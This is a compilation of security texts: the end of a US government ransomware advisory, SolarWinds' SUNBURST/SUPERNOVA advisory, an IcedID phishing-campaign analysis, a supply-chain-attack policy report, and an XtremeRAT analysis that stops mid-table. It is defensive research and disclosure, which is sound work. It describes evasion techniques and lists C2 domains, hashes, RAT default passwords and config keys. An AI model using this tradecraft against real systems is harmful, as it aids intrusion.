incidents. Ensure the notification procedures adhere to applicable state laws. - Refer to the National Conference of State Legislatures: Security Breach Notification Laws for information on each state’s data breach laws. - For breaches involving electronic health information, you may need to notify the Federal Trade Commission (FTC) or the Department of Health and Human Services, and, in some cases, the media. Refer to the FTC’s Health Breach Notification Rule and U.S. Department of Health and Human Services’ Breach Notification Rule for more information. - See CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide and CISA Fact Sheet Protecting Sensitive and Personal Information from Ransomware-Caused Data Breaches for information on creating a ransomware response checklist and planning and responding to ransomware-caused data breaches. ### Mitigating and Preventing Ransomware - Install updates for operating systems, software, and firmware as soon as they are released. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Regularly check for software updates and end-of-life notifications and prioritize patching known exploited vulnerabilities. Consider leveraging a centralized patch management system to automate and expedite the process. - If you use Remote Desktop Protocol (RDP) or other potentially risky services, secure and monitor them closely. - Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. After assessing risks, if RDP is deemed operationally necessary, restrict the originating sources, and require multifactor authentication (MFA) to mitigate credential theft and reuse. If RDP must be available externally, use a virtual private network (VPN), virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports. - Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389). - Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. - Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity. - Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established policy. - Open document readers in protected viewing modes to help prevent active content from running. - Implement a user training program and phishing exercises to raise awareness among users about the risks of visiting suspicious websites, clicking on suspicious links, and opening suspicious attachments. Reinforce the appropriate user response to phishing and spearphishing emails. - Require MFA for as many services as possible—particularly for webmail, VPNs, accounts that access critical systems, and privileged accounts that manage backups. - Use strong passwords and avoid reusing passwords for multiple accounts. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information. - Require administrator credentials to install software. - Audit user accounts with administrative or elevated privileges and configure access controls with least privilege in mind. - Install and regularly update antivirus and antimalware software on all hosts. - Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN. - Consider adding an email banner to messages coming from outside your organization. - Disable hyperlinks in received emails. ### Responding to Ransomware Incidents If a ransomware incident occurs at your organization: - Follow your organization’s Ransomware Response Checklist (see Preparing for Ransomware section). - Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. - Follow the notification requirements as outlined in your cyber incident response plan. - Report incidents to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office. - Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. Note: the FBI, CISA, and Treasury strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. ## REQUEST FOR INFORMATION The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, bitcoin wallet information, the decryptor file, and/or benign samples of encrypted files. As stated above, the FBI discourages paying ransoms. Payment does not guarantee files will be recovered and may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. However, the FBI understands that when victims are faced with an inability to function, all options are evaluated to protect shareholders, employees, and customers. Regardless of whether you or your organization have decided to pay the ransom, the FBI, CISA, and Treasury urge you to promptly report ransomware incidents to the FBI at a local FBI Field Office, CISA at us-cert.cisa.gov/report, or the USSS at a USSS Field Office. Doing so provides the U.S. Government with critical information needed to prevent future attacks by identifying and tracking ransomware actors and holding them accountable under U.S. law. ## RESOURCES - For more information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, U.S. whole-of-government webpage providing ransomware resources and alerts. - CISA’s Ransomware Readiness Assessment is a no-cost self-assessment based on a tiered set of practices to help organizations better assess how well they are equipped to defend and recover from a ransomware incident. - A guide that helps organizations mitigate a ransomware attack and provides Ransomware Response Checklists: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. - The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely. ## ACKNOWLEDGEMENTS The FBI, CISA, and Treasury would like to thank Stairwell for their contributions to this CSA.
# SolarWinds Security Advisory Recent as of April 6, 2021, 9:00am CST. This page covers the SolarWinds response to both SUNBURST and SUPERNOVA, and the steps we are taking in response to these incidents. We continue to strive for transparency and keeping our customers informed as we cooperate with law enforcement and intelligence communities. Like other software companies, we seek to responsibly disclose vulnerabilities in our products to our customers while also mitigating the risk that bad actors seek to exploit those vulnerabilities by releasing updates to our products that remediate these vulnerabilities before we disclose them. ## ABOUT OUR NEW DIGITAL CODE-SIGNING CERTIFICATE As announced by SolarWinds President and CEO Sudhakar Ramakrishna, we’re taking key steps to ensure the security and integrity of the software we deliver to customers. SolarWinds uses a digital code-signing certificate to digitally sign each software build, helping end users authenticate that the code comes from us. As part of our response to the SUNBURST vulnerability, the code-signing certificate used by SolarWinds to sign the affected software versions was revoked on March 8, 2021. This is industry-standard best practice for software that has been compromised. We’ve obtained new digital code-signing certificates, rebuilt the versions signed with the revoked certificate, re-signed our code, and re-released all of the products previously signed with the revoked certificate. To ensure the performance of your SolarWinds product(s), you must upgrade to these new builds. ## ABOUT SUPERNOVA SUPERNOVA is malware that was deployed using a vulnerability in the Orion Platform after it had been installed. Based on our investigation to date, SUPERNOVA is not malicious code embedded within the builds of our Orion® Platform as a supply chain attack. It is malware that is separately placed on a server that requires unauthorized access to a customer’s network and is designed to appear to be part of a SolarWinds product. The SUPERNOVA malware consisted of two components: a malicious, unsigned webshell .dll “app_web_logoimagehandler.ashx.b6031896.dll” specifically written for the SolarWinds Orion Platform, and the utilization of a vulnerability in the Orion Platform to enable deployment of the malicious code. This vulnerability has been resolved in the latest updates. We constantly work to enhance the security of our products and to protect our customers. We encourage all customers to run only supported versions of our products and to upgrade to the latest versions to benefit from our updates, improvements, and enhancements. ## ABOUT SUNBURST SolarWinds and our customers were victims of a cyberattack that inserted a vulnerability (SUNBURST) within our Orion® Platform software builds for versions 2019.4 HF 5, 2020.2 unpatched, and 2020.2 HF 1, which, if present and activated, could potentially allow an attacker to compromise the server on which the Orion products run. This attack was a sophisticated supply chain attack, which refers to a disruption in a standard process resulting in a compromised result with a goal of being able to attack subsequent users of the software. As our investigation has progressed, we’ve identified malware known as SUNSPOT, designed to inject the SUNBURST malicious code into the Orion Platform during the build process. SUNSPOT, TEARDROP, and RAINDROP are elements of the SUNBURST attack chain. The Cybersecurity and Infrastructure Security Agency (CISA) issued Emergency Directive 21-01 on December 13, 2020, regarding this issue. The latest information can be found on CISA’s Supply Chain Compromise page. We want to assure you we’ve removed the software builds known to be affected by the SUNBURST vulnerability from our download sites. While our investigations are ongoing, we are not aware that this SUNBURST vulnerability affects other versions of Orion Platform products. ### Known affected products: - Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, or with 2020.2 HF 1, including: - Application Centric Monitor (ACM) - Network Performance Monitor (NPM) - Database Performance Analyzer - NetFlow Traffic Analyzer (NTA) - Integration Module (DPAIM) - Server & Application Monitor (SAM) - Enterprise Operations Console (EOC) - Server Configuration Monitor (SCM) - High Availability (HA) - Storage Resource Monitor (SRM) - IP Address Manager (IPAM) - Virtualization Manager (VMAN) - Log Analyzer (LA) - VoIP & Network Quality Manager (VNQM) - Network Automation Manager (NAM) - Web Performance Monitor (WPM) - Network Configuration Manager (NCM) - Network Operations Manager (NOM) - User Device Tracker (UDT) ### SolarWinds products NOT KNOWN TO BE AFFECTED by this security vulnerability: - 8Man - Access Rights Manager (ARM) - AppOptics - Backup Document - Backup Profiler - Backup Server - Backup Workstation - CatTools - Dameware Mini Remote Control - Dameware Patch Manager - Dameware Remote Everywhere - Dameware Remote Manager - Database Performance Analyzer (DPA) - Database Performance Monitor (DPM) - DNSstuff - Engineer’s Toolset - Engineer's Web Toolset - FailOver Engine - Firewall Security Monitor - Identity Monitor - ipMonitor - Kiwi CatTools - Kiwi Log Viewer - Kiwi Syslog Server - LANSurveyor - Librato - Log & Event Manager (LEM) - Log and Event Manager Workstation Edition - Loggly - Mobile Admin - Network Topology Mapper (NTM) - Papertrail - Patch Manager - Pingdom - Pingdom Server Monitor - Security Event Manager (SEM) - Security Event Manager Workstation Edition - Server Profiler We have also found no evidence that any of our free tools, Orion agents, or Web Performance Monitor (WPM) Players are impacted by SUNBURST. ## RECOMMENDED ACTIONS To ensure the performance of your SolarWinds product(s), you must upgrade to the new builds. If you’re unable to upgrade at this time, we have provided a script that customers can install to temporarily protect their environment against the SUPERNOVA malware. To take advantage of our latest available security updates, we recommend all active maintenance customers of Orion Platform products upgrade to version 2020.2.5 as soon as possible. Customers on Orion Platform versions 2019.4.2 or 2020.2.4 have applied security enhancements designed to protect against SUNBURST and SUPERNOVA. The latest updates designed to protect against SUNBURST and SUPERNOVA are as follows: - 2019.2 HF 4 (released February 5, 2021) - 2019.4.2 (released February 2, 2021) - 2020.2.4 (released January 25, 2021) - 2019.2 Security Patch (released December 23, 2020) - 2018.4 Security Patch (released December 23, 2020) - 2018.2 Security Patch (released December 23, 2020) To provide additional security for your Orion Platform installation, please follow the guidelines available for your Orion Platform instance. The primary mitigation steps include having your Orion Platform installed behind firewalls, disabling internet access for the Orion Platform, and limiting the ports and connections to only what is required to operate your platform. ## WHAT ARE WE DOING TO HELP? Our primary focus has been on helping our customers protect the security of their environments. We’ve developed a program to provide professional consulting resources experienced with the Orion Platform and products to assist customers who need guidance on or support upgrading to the latest hotfix updates. These consulting services will be provided at no charge to our active maintenance Orion Platform product customers. ## SUMMARY Security and trust in our software is the foundation of our commitment to our customers. We strive to implement and maintain appropriate safeguards, security processes, procedures, and standards designed to protect our customers. Our investigations and remediation efforts for the SUNBURST vulnerability are ongoing. Thank you for your continued patience and partnership. We are making regular updates to this Security Advisory page and encourage you to refer to this page.
# New Conversation Hijacking Campaign Delivering IcedID This post describes the technical analysis of a new campaign detected by Intezer’s research team, which initiates attacks with a phishing email that uses conversation hijacking to deliver IcedID. The underground economy is constantly evolving with threat actors specializing in specific fields. One field that has bloomed in the last few years is initial access brokers. Initial access brokers specialize in gaining an initial beachhead access to organizations and once achieved, sell the access to other threat actors that monetize it further. Some of the customers to initial access brokers buy the access to deploy ransomware. Proofpoint has identified ten access brokers that sell access to ransomware groups. These access brokers largely infect their victims with banking trojans that are later used to deploy another malware at the purchaser’s request. One of these banking trojans that have been used to deploy ransomware is IcedID (BokBot). IcedID was first reported on by IBM X-Force in November 2017 and the malware shared some code with Pony. While initially designed to steal banking credentials, like many other banking trojans, the malware has been repurposed for deploying other malware on the infected machines. One way IcedID infects machines is via phishing emails. The infection chain that commonly has been used is an email with an attached password protected “zip” archive. Inside the archive is a macro enabled office document that executes the IcedID installer. Some phishing emails reuse previously stolen emails to make the lure more convincing. In the new IcedID campaign, we have discovered a further evolution of the threat actors’ technique. The threat actor now uses compromised Microsoft Exchange servers to send the phishing emails from the account that they stole from. The payload has also moved away from using office documents to the use of ISO files with a Windows LNK file and a DLL file. The use of ISO files allows the threat actor to bypass the Mark-of-the-Web controls, resulting in execution of the malware without warning to the user. With regards to targeting, we have seen organizations within energy, healthcare, law, and pharmaceutical sectors. ## Infection Chain The attack-chain starts with a phishing email. The email includes a message about some important document and has a password protected “zip” archive file attached. The password to the archive is given in the email body. What makes the phishing email more convincing is that it’s using conversation hijacking (thread hijacking). A forged reply to a previous stolen email is being used. Additionally, the email has also been sent from the email account from whom the email was stolen from. The content of the zip archive includes a single “ISO” file with the same filename as the zip archive. The ISO file includes two files, a LNK file named “document” and a DLL file named “main.” The LNK file has been made to look like a document file via its embedded icon file. When a user double clicks the link file, it uses “regsvr32” to execute the DLL file. The use of regsvr32 allows for proxy execution of malicious code in main.dll for defense evasion. The DLL file is a loader for the IcedID payload. It contains a number of exports, most of which consist of junk code. The loader will locate the encrypted payload, stored in the resource section of the binary. It does this through the technique API hashing. Memory is allocated using VirtualAlloc to hold the decrypted payload. The IcedID “Gziploader” payload is decoded and placed in memory and then executed. GZiploader fingerprints the machine and sends a beacon to the command and control server with information about the infected host. The information is smuggled through the cookies header via an HTTP GET request. The C2 is located at yourgroceries[.]top. The C2 can respond with a further stage to be dropped and executed. The C2 did not respond with a payload during our analysis. ## Conversation Hijacking as a Phishing Technique The technique of hijacking an already existing conversation over email to spread malware is something threat actors have been using for a while. Normally email messages are stolen during an infection and used in future attacks to make the phishing email appear more legitimate. In the last six months, threat actors have evolved the technique further to make it even more convincing. Instead of sending the stolen conversation to the victim with a spoofed email address, threat actors are now using the email address of the victim that they stole the original email from to make the phishing email even more convincing. Kevin Beaumont reported on this conversation hijacking technique back in November 2021 being used to distribute Qakbot. Through the investigation, he confirmed that the Microsoft Exchange servers where the emails originated from had evidence of being exploited by ProxyShell. ## New Campaign Discovered in March 2022 In the current mid-March campaign, we have discovered reuse of the same stolen conversation now being sent from the email address that received the latest email. By using this approach, the email appears more legitimate and is transported through the normal channels which can also include security products. The majority of the originating Exchange servers we have observed appear to also be unpatched and publicly exposed, making the ProxyShell vector a good theory. The code snippet below shows a small part of the email header. The IP address of the Exchange server is a local IP address (172.29.0.12) with a top-level domain name of “local.” We can also see a header added by Exchange marking it as an internal email. The exchange server also has added a header of the original client (172.29.5.131 which also is a local IP address) that connected to the Exchange server over MAPI. We didn’t manage to find a corresponding public IP address for this Exchange server and it is not known to us how it was accessed by the threat actor. The only thing we managed to find was a roundcube webmail instance. One of the headers in the snippet above reported that the client connected to the server via MAPI. This suggests that the threat actor used an Exchange client instead of using SMTP to send the email. ## Attribution In June 2021, Proofpoint released a report on different access brokers that facilitate access for ransomware groups. Of the different threat actors, according to Proofpoint, two of them (TA577 and TA551) used IcedID as their malware. The techniques used by TA551 include conversation hijacking and password protected zip files. The group is also known to use regsvr32.exe for signed binary proxy execution for malicious DLLs. ## Summary The use of conversation hijacking is a powerful social engineering technique that can increase the rate of a successful phishing attempt. The payload has been moved away from office documents to the use of ISO files, employing the use of commodity packers and multiple stages to hide activity. It is important to be able to detect malicious files in memory to detect this type of attack. We recommend you use an endpoint scanner. ## IoCs **ISO File:** 3542d5179100a7644e0a747139d775dbc8d914245292209bc9038ad2413b3213 **Loader DLL:** 698a0348c4bb8fffc806a1f915592b20193229568647807e88a39d2ab81cb4c2 **LNK File:** a17e32b43f96c8db69c979865a8732f3784c7c42714197091866473bcfac8250 **IcedID GZiploader Network:** yourgroceries[.]top **Joakim Kennedy** Dr. Joakim Kennedy is a Security Researcher analyzing malware and tracking threat actors on a daily basis. For the last few years, Joakim has been researching malware written in Go. To make the analysis easier he has written the Go Reverse Engineering Toolkit, an open-source toolkit for analysis of Go binaries. **Ryan Robinson** Ryan is a security researcher analyzing malware and scripts. Formerly, he was a researcher on Anomali's Threat Research Team.
# Breaking Trust: Shades of Crisis Across an Insecure Software Supply Chain ## Trey Herr, June Lee, William Loomis, and Stewart Scott The Scowcroft Center for Strategy and Security works to develop sustainable, nonpartisan strategies to address the most important security challenges facing the United States and the world. The Center honors General Brent Scowcroft’s legacy of service and embodies his ethos of nonpartisan commitment to the cause of security, support for US leadership in cooperation with allies and partners, and dedication to the mentorship of the next generation of leaders. ## Cyber Statecraft Initiative The Cyber Statecraft Initiative works at the nexus of geopolitics and cybersecurity to craft strategies to help shape the conduct of statecraft and to better inform and secure users of technology. This work extends through the competition of state and non-state actors, the security of the internet and computing systems, the safety of operational technology and physical systems, and the communities of cyberspace. The Initiative convenes a diverse network of passionate and knowledgeable contributors, bridging the gap among technical, policy, and user communities. ## Executive Summary Society has a software problem. Since Ada Lovelace deployed the first computer program on an early mechanical device in the 1840s, software has spread to every corner of human experience. Our watches now have Internet connections, combat aircraft come with more code than computer operating systems, and every organization from the Internal Revenue Service to an Etsy storefront relies on software to serve their customers. No longer confined merely to computers, embedded software now controls the operation of complex power generators, medical hardware, the behavior of automotive brake pedals, and planetary scale datasets. As one commentator put it, “software is eating the world.” With software come security flaws and a long tail of updates from vendors and maintainers. Unlike a physical system that is little modified once it has left the factory, software is subject to continual revision through updates and patches. This makes the supply for code long and subject to myriad flaws, both unintentional and malicious. The private sector’s aggregated risk from software supply chain compromises continues to grow. Ever more feature-rich software is finding its way into a widening array of consumer products and enterprise services, enlarging the potential attack surface. Organizations increasingly outsource IT management and services to cloud computing and managed service providers (MSPs), raising the likelihood that a given firm will be impacted by an attack targeting one of these providers. Software supply chain security remains an underappreciated domain of national security policymaking. The debate over 5G and telecommunications security, for example, has focused largely on hardware manufacturing and deployment, yet it is software in these devices that determines data’s confidentiality and path through the global Internet. The push for open architecture in telecommunications, the Open Radio Access Network (ORAN) model, and industry trends toward network function virtualization mean even more hardware functionality will shift to software—making software supply chain security a critical competitive dimension. Software supply chain attacks are popular, impactful, and are used to great effect by states, especially China and Russia. High-profile attacks like NotPetya have forced policymakers to confront the importance of software supply chains, but only episodically and without leading to long-term security improvements. Improved technical security measures could raise the cost of attacks, but the United States and its allies must respond to systemic threats and counter the efforts of states to undermine trust in software. ## 1. Introduction The state of security in the software supply chain is inadequate and, in some critical respects, getting worse. The policy community must refocus on this topic amidst competing national security priorities and do more to incentivize and support private sector security. Failure to do so creates new and systemic national security risks for the United States and its allies. Attackers capitalizing on vulnerable software supply chains are able to compromise trusted software and important cybersecurity protections to impact large numbers of critical systems. Significant economic output depends on the security of software every day—the sudden shift to remote work is exemplary of this dependence. Without reliable video conferencing, email, and file sharing, much of the world’s knowledge work would slow to a crawl. Even intangible capacities, like our capacity to innovate, rely in large part on digital tools to collaborate, coordinate, and revise. All of these tasks are dependent on software. Critical defense systems are equally dependent on software. Digitized logistics processes, the ability to work with massive quantities of data, semiautonomous sensors, and munitions all depend on a chain of digital logic embedded in software programs. Software supply chain attacks are not an esoteric or isolated tactic; they are popular, impactful, and have been used to great effect by state actors. This report discusses five trends in the attacks and disclosures surveyed, including the damaging use of software supply chain attacks by a handful of major adversaries of the United States, efforts to undermine code-signing processes and hijack software updates, and the popularity of attacks on open-source projects and app stores. Following this is a summary of key takeaways from the dataset and specific policy recommendations to drive improved baseline security across software supply chains, better protect open-source software, and counter systemic threats to these supply chains. ## 2. Attacks on the Software Supply Chain A software supply chain attack occurs when an attacker accesses and modifies software in the complex software development supply chain to compromise a target farther down the chain by inserting their own malicious code. These inserts can be used to further modify code by obtaining system permissions or to directly deliver a malicious payload. Modern software products contain a vast number of dependencies on other code, so tracking down which vulnerabilities compromise which products is a nontrivial organizational and technical feat. Software supply chain attacks take advantage of established channels of system verification to gain privileged access to systems and to compromise large networks. They undermine foundational tenets of trust in software development. Even with the increased exposure gained, the code that attackers and researchers target has changed over time. ### 2.1 Deep Impact: States and Software Supply Chain Attacks States have used software supply chain attacks to great effect. Hijacked updates have routinely delivered the most crippling state-backed attacks, thanks in part to a continued failure to secure the code-signing process. While concerns about the real-world ramifications of attacks on firmware, IoT devices, and industrial systems are warranted, these are far from novel threats. Stuxnet and other incidents have had physical impacts as early as 2012. Several of these incidents, like NotPetya and the Equifax data breach in 2017, impacted millions of users, showcasing the immense potential scale of software supply chain attacks and their strategic utility for states. ### 2.2 Abusing Trust: Code Signing Code-signing issues were among the most prolific attack vectors in our analysis, with many attacks stemming from self-signed certificates, broken signing systems, and poorly secured account access. A significant portion of this dataset deals with code signing and how attackers bypass its protections. Code signing is crucial to analyzing software supply chain attacks because, used correctly, it ensures the integrity of code and the identity of its author. ### 2.3 Breaking the Chain: Hijacked Updates Hijacked updates are a common and impactful means of compromising supply chains and have recurred throughout the decade despite being a well-recognized attack vector. ### 2.4 Poisoning the Well: Attacks on Open Source Software Attacks on open-source software were popular, but unnervingly simple in many cases. ### 2.5 Downloading Trouble: App Store Attacks App stores represent a poorly addressed source of risk to mobile device users as they remain popular despite years of evidence of security lapses. These trends show software supply chain attacks are popular and impactful. They exploit natural seams between organizations and abuse relationships where users expect to find trustworthy code.
# XtremeRAT: Nuisance or Threat? Rather than building custom malware, many threat actors behind targeted attacks use publicly or commercially available remote access Trojans (RATs). This pre-built malware has all the functionality needed to conduct cyber espionage and is controlled directly by humans, who have the ability to adapt to network defenses. As a result, the threat posed by these RATs should not be underestimated. However, it is difficult to distinguish and correlate the activity of targeted threat actors based solely on their preference to use particular malware — especially freely available malware. From an analyst’s perspective, it is unclear whether these actors choose to use this type of malware simply out of convenience or in a deliberate effort to blend in with traditional cybercrime groups, who also use these same tools. There are numerous RATs available for free and for purchase in online forums, chat rooms, and marketplaces on the Internet. Most RATs are easy to use and thus attract novices. They are used for a variety of criminal activity, including “sextortion.” The ubiquity of these RATs makes it difficult to determine if a particular security incident is related to a targeted threat, cybercrime, or just a novice “script kiddie” causing a nuisance. Although publicly available RATs are used by a variety of operators with different intents, the activity of particular threat actors can still be tracked by clustering command and control server information as well as the information that is set by the operators in the builder. These technical indicators, combined with the context of an incident (such as the timing, specificity, and human activity) allow analysts to assess the targeted or non-targeted nature of the threat. In this post, we examine a publicly available RAT known as XtremeRAT. This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation, we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware. Why have these traditional cybercrime operators begun to distribute RATs? This seems odd, considering RATs require manual labor as opposed to automated banking Trojans. Based on our observations, we propose one or more of the following possible explanations: 1. **Smokescreen** The operations may be part of a targeted attack that seeks to disguise itself and its possible targets by using spam services to launch the attacks. 2. **Less traditional tools available** With more crimeware author arrests and/or disappearance of a number of banking Trojan developers, cybercriminals are resorting to using RATs to manually steal data, such as banking and credit card details. 3. **Complicated defenses require more versatile tools** As many traditional banking and financial institutions have improved their security practices, perhaps attackers have had a much more difficult time developing automation in their Trojans to cover all variations of these defenses; as such, RATs provide more versatility and effectiveness, at the expense of scalability. 4. **Casting a wider net** After compromising indiscriminate targets, attackers may dig deeper into specific targets of interest and/or sell off the access rights of the victims’ systems and their data to others. These possible explanations are not mutually exclusive. One or all of them may be factors in explaining this observed activity. ## XtremeRAT The XtremeRAT was developed by “xtremecoder” and has been available since at least 2010. Written in Delphi, the code of XtremeRAT is shared amongst several other Delphi RAT projects including SpyNet, CyberGate, and Cerberus. The RAT is available for free; however, the developer charges 350 Euros for the source code. Unfortunately for xtremecoder, the source code has been leaked online. The current version is Xtreme 3.6; however, there are a variety of “private” versions of this RAT available as well. As such, the official version of this RAT and its many variants are used by a wide variety of actors. XtremeRAT allows an attacker to: - Interact with the victim via a remote shell - Upload/download files - Interact with the registry - Manipulate running processes and services - Capture images of the desktop - Record from connected devices, such as a webcam or microphone Moreover, during the build process, the attacker can specify whether to include keylogging and USB infection functions. ## Extracting Intelligence XtremeRAT contains two components: a “client” and a “server”; however, from the attacker’s perspective, these terms have reversed meanings. Specifically, according to the author, the “server” component is the malware that resides on victim endpoints that connect to the “client,” which is operated by the attacker from one or more remote command-and-control (CnC) systems. Due to this confusing and overloaded terminology, we refer to the “server” as a “backdoor” on the victim and the “client” as a remote “controller” operated by the attacker. XtremeRAT backdoors maintain and reference configuration data that was chosen by the attacker at the time they were built. This data can contain very useful hints to help group attacks and attribute them to actors, similar to what we have previously described in our Poison Ivy whitepaper. Several versions of XtremeRAT write this configuration data to disk under `%APPDATA%\Microsoft\Windows`, either directly or to a directory named after the mutex configured by the attacker. When written to disk, the data is RC4 encrypted with a key of either “CYBERGATEPASS” or “CONFIG” for the versions we have analyzed. In both cases, the key is Unicode. The config file has either a “.nfo” or “.cfg” extension depending on the version. XtremeRAT’s key scheduling algorithm (KSA) implementation contains a bug wherein it only considers the length of the key string, not including the null bytes between each character, as is found in these Unicode strings. As a result, it only effectively uses the first half of the key. For example, the key “C\x00O\x00N\x00F\x00I\x00G\x00” is 12 bytes long, but the length is calculated as only being 6 bytes long. Because of this, the key that is ultimately used is “C\x00O\x00N\x00”. The configuration data includes: - Name of the installed backdoor file - Directory under which the backdoor file is installed - Which process it will inject into (if specified) - CnC information - FTP information for sending stolen keystroke data to - Mutex name of the master process - ID and group name which are used by the actors for organizational purposes Because the decrypted configuration data can be reliably located in memory (with only slight variations in its structure from version to version) and because not all versions of XtremeRAT will write their configuration data to disk, parsing memory dumps of infected systems is often the ideal method for extracting intelligence. We are releasing python scripts we have developed to gather the configuration details for various versions of XtremeRAT from both process memory dumps and the encrypted configuration file on disk. The scripts are available at [GitHub](https://github.com/fireeye/tools/tree/master/malware/Xtreme%20RAT). Also included in this toolset is a script that decrypts and prints the contents of the log file created by XtremeRAT containing victim keystroke data. This log file is written to the same directory as the config file and has a “.dat” extension. Curiously, this log file is encrypted with a simple two-byte XOR instead of RC4. Later in this blog, we will share some of the configuration details we have extracted during our subsequent analysis. ## XtremeRAT Activity Using telemetry from the FireEye Dynamic Threat Intelligence (DTI) cloud, we examined 165 XtremeRAT samples from attacks that primarily hit the following sectors: - Energy, utilities, and petroleum refining - Financial Services - High-tech These incidents include a spectrum of attacks including targeted attacks as well as indiscriminate attacks. Among these XtremeRAT-based attacks, we found that 4 of the 165 samples were used in targeted attacks against the High-Tech sector by threat actors we have called “MoleRats”. ### Operation Molerats In 2012, XtremeRAT was used against a variety of governments as well as Israeli and Palestinian targets in what was known as Operation Molerats (the same attackers have also used variants of the Poison Ivy RAT). Upon executing one particular sample (45142b17abd8a17a5e38305b718f3415), the malware beacons to “test.cable-modem.org” and “idf.blogsite.org”. In this particular case, the attacker used XtremeRAT 2.9 within a self-extracting archive that also presents a decoy document to the victim, where the decoy content appears to have been copied from a website. The attacker modified the highlighted information at build time. By default, the XtremeRAT controller sets the ID field as “Server” and Group field as “Servers,” with the default password used to authenticate, connect, and control a compromised endpoint as “1234567890”. In the Figure 5, the attacker specified custom CnC servers and ports and changed the default password to “1411”. The attacker also changed the default process mutex name. These indicators along with command and control domain names and the IP addresses that they resolve to can be used to cluster and track this activity over time. ### Spam Activity The vast majority of XtremeRAT activity clustered around the default password “1234567890” (116 samples). There was overlap between this large cluster and the second largest one which used the password “123456” (12 samples). The activity in these two clusters aligns with indicators observed in Spanish language spam runs. The “123456” cluster also contains spam in the English language, leveraging the recent tragedy in Kenya as a lure. ### The Uranio Cluster In our sample set, we have 28 malware samples that connect to a set of sequentially numbered command-and-control servers: - uranio.no-ip.biz - uranio2.no-ip.biz - uranio3.no-ip.biz - uranio4.no-ip.biz - uranio5.no-ip.biz - uranio6.no-ip.biz - uranio7.no-ip.biz - platino.no-ip.biz - platino-2.no-ip.biz - platino-4.no-ip.biz - platino-5.no-ip.biz - platino-8.no-ip.biz - platino-9.no-ip.biz - cometa3.no-ip.biz - cometa4.no-ip.biz The malware is being spammed out and has file names such as: - Certificaciones De Pagos Nominas Parafiscales jpg 125420215 58644745574455 .exe - Soportes de pagos certificaciones y documentos mes mayo 30 2013 567888885432235678888888123456.exe - Certificaciones De Pago Y Para Fiscales.exe We extracted the configurations for a sampling of the XtremeRAT samples we came across in this spam run and found the following results: | MD5 | ID | Group | Version | Mutex | | --- | --- | --- | --- | --- | | a6135a6a6346a460792ce2da285778b1 | ABRIL | CmetaS3 | 3.6 | C5AapWKh | | 988babfeec5111d45d7d7eddea6daf28 | ABRIL | CmetaS3 | 3.6 | C5AapWKh | | 715f54a077802a0d67e6e7136bcbe340 | ABRIL | CmetaS3 | 3.6 | C5AapWKh | | 167496763aa8d369ff482c4e2ca3da7d | ABRIL | CmetaS3 | 3.6 | C5AapWKh | | 3f288dfa95d90a3cb4503dc5f3d49c16 | Server | Cometa4 | 3.6 | 4QtgfoP | | 6a8057322e62c569924ea034508068c9 | Server | Platino4 | 3.6 | mbojnXS | | 37b90673aa83d177767d6289c4b90468 | Server | Platino4 | 3.6 | mbojnXS | | 98fb1014f6e90290da946fdbca583334 | Server | Platino8 | 3.6 | G7fjZQYAH | | 5a9547b727f0b4baf9b379328c797005 | Server | Platino8 | 3.6 | G7fjZQYAH | | fb98c8406e316efb0f46024f7c6a6739 | Server | Platino9 | 3.6 | kUHwdc8Y | | 64f6f819a029956b8aeafb729512b460 | Server | Uranio | 3.6 | eYwJ6QX0i | | a4c47256a7159f9556375c603647f4c2 | Mayo | Uranio2011 | 3.6 | 0pg6ooH | | 62d6e190dcc23e838e11f449c8f9b723 | Mayo | Uranio2011 | 3.6 | 0pg6ooH | | d5d99497ebb72f574c9429ecd388a019 | Mayo | Uranio2011 | 3.6 | 0pg6ooH | | 3a9237deaf25851f2511e355f8c506d7 | Server | Uranio3 | 1.3.6.16 | QwcgY0a | | c5e95336d52f94772cbdb2a37cef1d33 | Server | Uranio3 | 1.3.6.16 | QwcgY0a | | 0ea60a5d4c8c629c98726cd3985b63c8 | Server | Uranio4 | 1.3.6.16 | xjUfrQHP6Xy | | 41889ca19c18ac59d227590eeb1da214 | Server | Uranio4 | 1.3.6.16 | xjUfrQHP6Xy | | 90e11bdbc380c88244bb0152f1142aff | Server | Uranio4 | 1.3.6.16 | xjUfrQHP6Xy | | c1ad4445f1064195de1d6756950e2ae9 | Server | Uranio5 | 3.6 | R9lmAhUK | | e5b781ec77472d8d4b3b4a4d2faf5761 | Server | Uranio6 | 3.6 | KdXTsbjJ6 | | a921aa35deedf09fabee767824fd8f7e | Server | Uranio6 | 3.6 | 